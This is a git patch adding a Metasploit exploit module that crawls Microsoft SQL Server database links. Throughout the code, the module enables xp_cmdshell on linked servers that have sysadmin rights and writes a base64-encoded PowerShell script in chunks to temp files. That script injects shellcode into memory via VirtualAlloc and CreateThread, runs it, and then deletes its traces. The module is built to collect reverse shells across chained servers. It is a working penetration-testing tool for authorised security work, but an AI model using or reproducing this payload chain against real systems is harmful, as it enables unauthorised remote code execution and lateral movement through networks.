From 5ce652612544b03be8c5ee2bd1737071fc3de8a0 Mon Sep 17 00:00:00 2001 From: nullbind Date: Sun, 28 Oct 2012 13:49:32 -0500 Subject: [PATCH] first official release --- .../windows/mssql/mssql_linkcrawler.rb | 534 ++++++++++++++++++ 1 file changed, 534 insertions(+) create mode 100644 modules/exploits/windows/mssql/mssql_linkcrawler.rb diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb new file mode 100644 index 0000000000..042fe61e24 --- /dev/null +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -0,0 +1,534 @@ +require 'msf/core' +require 'msf/core/exploit/mssql_commands' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::MSSQL + include Msf::Auxiliary::Report + include Msf::Exploit::CmdStagerVBS + #include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server - Database Link Crawler', + 'Description' => %q{ + This module can be used to crawl MS SQL Server database links and + deploy metasploit payloads through links configured with sysadmin + privileges via a direct database connection once a valid set of + credentials have been provided. If you are attempting to obtain + multiple reverse shells using this module we recommend setting the + “DisablePayloadHandler” advanced option to “true”, and setting up + a multi/handler to run in the background as a job to support + multiple incoming shells. If you are interested in deploying + payloads to spefic servers this module also supports that + functionality via the “DEPLOYLIST” option. Currently, the module + is capable of delivering payloads to both 32bit and 64bit Windows + systems via powershell memory injection methods based on Matthew + Graeber’s work . As a result, the target server must have + powershell installed. By default, all of the crawl information is + saved to a CSV formatted log file and MSF loot so that the tool + can also be used for auditing without deploying payloads. + }, + 'Author' => + [ + 'Antti Rantasaari ', + 'nullbind ' + ], + 'Platform' => [ 'Windows' ], + 'License' => MSF_LICENSE, + 'References' => [[ 'URL', 'http://www.netspi.com/' ]], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptBool.new('VERBOSE', [false, 'Set how verbose the output should be', 'false']), + OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', 'false']), + OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']), + + ], self.class) + end + + def exploit + + # Display start time + time1 = Time.new + print_status("-------------------------------------------------") + print_status("Start time : #{time1.inspect}") + print_status("-------------------------------------------------") + + # Check if credentials are correct + print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...") + + if (not mssql_login_datastore) + print_error("Invalid SQL Server credentials") + print_status("-------------------------------------------------") + return + end + + # Define master array to keep track of enumerated database information + masterList = Array.new + masterList[0] = Hash.new # Define new hash + masterList[0]["name"] = "" # Name of the current database server + masterList[0]["db_link"] = "" # Name of the linked database server + masterList[0]["db_user"] = "" # User configured on the database server link + masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges + masterList[0]["db_version"] = "" # Database version of the linked database server + masterList[0]["db_os"] = "" # OS of the linked database server + masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored + masterList[0]["done"] = 0 # Used to determine if linked need to be crawled + + shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system + + # Setup query for gathering information from database servers + versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE(ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT(char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+ CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 -charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount" + + # Create loot table to store configuration information from crawled database server links + linked_server_table = Rex::Ui::Text::Table.new( + 'Header' => 'Linked Server Table', + 'Ident' => 1, + 'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state'] + ) + save_loot = "" + + # Start crawling through linked database servers + while masterList.any? {|f| f["done"] == 0} + # Find the first DB server that has not been crawled (not marked as done) + server = masterList.detect {|f| f["done"] == 0} + + # Get configuration information from the database server + sql = query_builder(server["path"].first,"",0,versionQuery) + result = mssql_query(sql, false) if mssql_login_datastore + parse_results = result[:rows] + parse_results.each { |s| + server["name"] = s[0] + server["db_user"] = s[1] + server["db_sysadmin"] = s[5] + server["db_version"] = s[3] + server["db_os"] = s[4] + server["numlinks"] = s[6] + } + if masterList.length == 1 + print_good("Successfully connected to #{server["name"]}") + if datastore['VERBOSE'] == true + show_configs(server["name"],parse_results,true) + elsif server["db_sysadmin"] == 1 + print_good("Sysadmin on #{server["name"]}") + end + end + if server["db_sysadmin"] == 1 + enable_xp_cmdshell(server["path"].first,server["name"],shelled) + end + + # If links were found, determine if they can be connected to and add to crawl list + if (server["numlinks"] > 0) + # Enable loot + save_loot = "yes" + + # Select a list of the linked database servers that exist on the current database server + print_status("") + print_status("-------------------------------------------------") + print_status("Crawling links on #{server["name"]}...") + # Display number db server links + print_status("Links found: #{server["numlinks"]}") + print_status("-------------------------------------------------") + execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'" + sql = query_builder(server["path"].first,"",0,execute) + result = mssql_query(sql, false) if mssql_login_datastore + + result[:rows].each {|name| + name.each {|name| + + # Check if link works and if sysadmin permissions - temp array to save orig server[path] + temppath = Array.new + temppath = server["path"].first.dup + temppath << name + + # Get configuration information from the linked server + sql = query_builder(temppath,"",0,versionQuery) + result = mssql_query(sql, false) if mssql_login_datastore + + # Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists + if result[:errors].empty? and result[:rows] != nil then + # Assign db query results to variables for hash + parse_results = result[:rows] + + # Add link server information to loot + link_status = 'up' + write_to_report(name,server,parse_results,linked_server_table,link_status) + + # Display link server information in verbose mode + if datastore['VERBOSE'] == true + show_configs(name,parse_results) + print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}") + else + if parse_results[0][5] == 1 + print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)") + else + print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}") + end + end + + # Add link to masterlist hash + unless masterList.any? {|f| f["name"] == name} + masterList << add_host(name,server["path"].first,parse_results) + else + (0..masterList.length-1).each do |x| + if masterList[x]["name"] == name + masterList[x]["path"] << server["path"].first.dup + masterList[x]["path"].last << name + unless shelled.include?(name) + if parse_results[0][2]==1 + enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled) + end + end + else + break + end + end + end + else + # Add to report + linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed'] + + # Display status to user + if datastore['VERBOSE'] == true + print_status(" ") + print_error("Linked Server: #{name} ") + print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed") + print_status(" Failure could be due to:") + print_status(" - A dead server") + print_status(" - Bad credentials") + print_status(" - Nested open queries through SQL 2000") + else + print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed") + end + end + } + } + end + # Set server to "crawled" + server["done"]=1 + end + + print_status("-------------------------------------------------") + + # Setup table for loot + this_service = nil + if framework.db and framework.db.active + this_service = report_service( + :host => rhost, + :port => rport, + :name => 'mssql', + :proto => 'tcp' + ) + end + + # Display end time + time1 = Time.new + print_status("End time : #{time1.inspect}") + print_status("-------------------------------------------------") + + # Write log to loot / file + if (save_loot=="yes") + filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv" + path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service) + print_status("Results have been saved to: #{path}") + end + end + + + # --------------------------------------------------------------------- + # Method that builds nested openquery statements using during crawling + # --------------------------------------------------------------------- + def query_builder(path,sql,ticks,execute) + + # Temp used to maintain the original masterList[x]["path"] + temp = Array.new + path.each {|i| temp << i} + + # Actual query - defined when the function originally called - ticks multiplied + if path.length == 0 + return execute.gsub("'","'"*2**ticks) + + # openquery generator + else + sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")" + return sql + end + end + + # --------------------------------------------------------------------- + # Method that builds nested openquery statements using during crawling + # --------------------------------------------------------------------- + def query_builder_rpc(path,sql,ticks,execute) + + # Temp used to maintain the original masterList[x]["path"] + temp = Array.new + path.each {|i| temp << i} + + # Actual query - defined when the function originally called - ticks multiplied + if path.length == 0 + return execute.gsub("'","'"*2**ticks) + + # Openquery generator + else + exec_at = temp.shift + sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]" + return sql + end + end + + + # --------------------------------------------------------------------- + # Method for adding new linked database servers to the crawl list + # --------------------------------------------------------------------- + def add_host(name,path,parse_results) + + # Used to add new servers to masterList + server = Hash.new + server["name"] = name + temppath = Array.new + path.each {|i| temppath << i } + server["path"] = [temppath] + server["path"].first << name + server["done"] = 0 + parse_results.each {|stuff| + server["db_user"] = stuff.at(1) + server["db_sysadmin"] = stuff.at(2) + server["db_version"] = stuff.at(3) + server["db_os"] = stuff.at(4) + server["numlinks"] = stuff.at(6) + } + return server + end + + + # --------------------------------------------------------------------- + # Method to display configuration information + # --------------------------------------------------------------------- + def show_configs(i,parse_results,entry=false) + + print_status(" ") + parse_results.each {|stuff| + + # Translate syadmin code + status = stuff.at(5) + if status == 1 then + dbpriv = "sysadmin" + else + dbpriv = "user" + end + + # Display database link information + if entry == false + print_status("Linked Server: #{i}") + print_status(" o Link user: #{stuff.at(1)}") + print_status(" o Link privs: #{dbpriv}") + print_status(" o Link version: #{stuff.at(3)}") + print_status(" o Link OS: #{stuff.at(4).strip}") + print_status(" o Links on server: #{stuff.at(6)}") + else + print_status("Server: #{i}") + print_status(" o Server user: #{stuff.at(1)}") + print_status(" o Server privs: #{dbpriv}") + print_status(" o Server version: #{stuff.at(3)}") + print_status(" o Server OS: #{stuff.at(4).strip}") + print_status(" o Server on server: #{stuff.at(6)}") + end + } + end + + # --------------------------------------------------------------------- + # Method for generating the report and loot + # --------------------------------------------------------------------- + def write_to_report(i,server,parse_results,linked_server_table,link_status) + parse_results.each {|stuff| + + # Parse server information + db_link_user = stuff.at(1) + db_link_sysadmin = stuff.at(2) + db_link_version = stuff.at(3) + db_link_os = stuff.at(4) + + # Add link server to the reporting array and set link_status to 'up' + linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status] + + return linked_server_table + } + end + + + # --------------------------------------------------------------------- + # Method for enabling xp_cmdshell + # --------------------------------------------------------------------- + def enable_xp_cmdshell(path,name,shelled) + # Enables "show advanced options" and xp_cmdshell if needed and possible + # They cannot be enabled in user transactions (i.e. via openquery) + # Only enabled if RPC_Out is enabled for linked server + # All changes are reverted after payload delivery and execution + + # Check if "show advanced options" is enabled + execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'" + sql = query_builder(path,"",0,execute) + result = mssql_query(sql, false) if mssql_login_datastore + saoOrig = result[:rows].pop.pop + + # Check if "xp_cmdshell" is enabled + execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'" + sql = query_builder(path,"",0,execute) + result = mssql_query(sql, false) if mssql_login_datastore + xpcmdOrig = result[:rows].pop.pop + + # Try blindly to enable "xp_cmdshell" on the linked server + # Note: + # This only works if rpcout is enabled for all links in the link path. + # If that is not the case it fails cleanly. + if xpcmdOrig == 0 + if saoOrig == 0 + # Enabling show advanced options and xp_cmdshell + execute = "sp_configure 'show advanced options',1;reconfigure" + sql = query_builder_rpc(path,"",0,execute) + result = mssql_query(sql, false) if mssql_login_datastore + end + + # Enabling xp_cmdshell + print_status("\t - xp_cmdshell is not enabled on " + path.last + "... Trying to enable") + execute = "sp_configure 'xp_cmdshell',1;reconfigure" + sql = query_builder_rpc(path,"",0,execute) + result = mssql_query(sql, false) if mssql_login_datastore + end + + # Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.) + execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'" + sql = query_builder(path,"",0,execute) + result = mssql_query(sql, false) if mssql_login_datastore + xpcmdNow = result[:rows].pop.pop + + if xpcmdNow == 1 or xpcmdOrig == 1 + print_status("\t - Enabled xp_cmdshell on " + path.last) if xpcmdOrig == 0 + if datastore['DEPLOY'] + print_status("Ready to deploy a payload #{name}") + if datastore['DEPLOYLIST']=="" + datastore['DEPLOYLIST'] = nil + end + if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true + print_status("\t - Checking if #{name} is on the deploy list...") + end + if datastore['DEPLOYLIST'] != nil + deploylist = datastore['DEPLOYLIST'].upcase.split(',') + end + if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase + if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true + print_status("\t - #{name} is on the deploy list.") + end + unless shelled.include?(name) + powershell_upload_exec(path) + shelled << name + else + print_status("Payload already deployed on #{name}") + end + elsif datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true + print_status("\t - #{name} is not on the deploy list") + end + end + else + print_error("\t - Unable to enable xp_cmdshell on " + path.last) + end + + # Revert soa and xp_cmdshell to original state + if xpcmdOrig == 0 and xpcmdNow == 1 + print_status("\t - Disabling xp_cmdshell on " + path.last) + execute = "sp_configure 'xp_cmdshell',0;reconfigure" + sql = query_builder_rpc(path,"",0,execute) + result = mssql_query(sql, false) if mssql_login_datastore + end + if saoOrig == 0 and xpcmdNow == 1 + execute = "sp_configure 'show advanced options',0;reconfigure" + sql = query_builder_rpc(path,"",0,execute) + result = mssql_query(sql, false) if mssql_login_datastore + end + end + + + # ---------------------------------------------------------------------- + # Method that delivers shellcode payload via powershell thread injection + # ---------------------------------------------------------------------- + def powershell_upload_exec(path) + + # Create powershell script that will inject shell code from the selected payload + myscript ="$code = @\" +[DllImport(\"kernel32.dll\")] +public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); +[DllImport(\"kernel32.dll\")] +public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); +[DllImport(\"msvcrt.dll\")] +public static extern IntPtr memset(IntPtr dest, uint src, uint count); +\"@ +$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru +[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')} +$size = 0x1000 +if ($sc.Length -gt 0x1000) {$size = $sc.Length} +$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) +for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)} +$winFunc::CreateThread(0,0,$x,0,0,0)" + + # Unicode encode powershell script + mytext_uni = Rex::Text.to_unicode(myscript) + + # Base64 encode unicode + mytext_64 = Rex::Text.encode_base64(mytext_uni) + + # Generate random file names + rand_filename = rand_text_alpha(8) + var_duplicates = rand_text_alpha(8) + + # Write base64 encoded powershell payload to temp file + # This is written 2500 characters at a time due to xp_cmdshell ruby function limitations + # Also, line number tracking was added so that duplication lines causes by nested linked + # queries could be found and removed. + print_status("Deploying payload...") + linenum = 0 + mytext_64.scan(/.{1,2500}/).each {|part| + execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'" + sql = query_builder(path,"",0,execute) + result = mssql_query(sql, false) if mssql_login_datastore + linenum = linenum+1 + } + + # Remove duplicate lines from temp file and write to new file + execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'" + sql = query_builder(path,"",0,execute) + result = mssql_query(sql, false) if mssql_login_datastore + + # Remove tracking tags from lines + execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'" + sql = query_builder(path,"",0,execute) + result = mssql_query(sql, false) if mssql_login_datastore + + # Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors + # If running on 64bit system, 32bit powershell called from syswow64 + powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like '*64*'){$psbits=\"C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe -noexit -noprofile -encodedCommand $dacode\"};iex $psbits" + powershell_uni = Rex::Text.to_unicode(powershell_cmd) + powershell_64 = Rex::Text.encode_base64(powershell_uni) + + # Setup query + execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'" + sql = query_builder(path,"",0,execute) + + + # Execute the playload + print_status("Executing payload...") + result = mssql_query(sql, false) if mssql_login_datastore + # Remove payload data from the target server + execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'" + sql = query_builder(path,"",0,execute) + result = mssql_query(sql,false) + end +end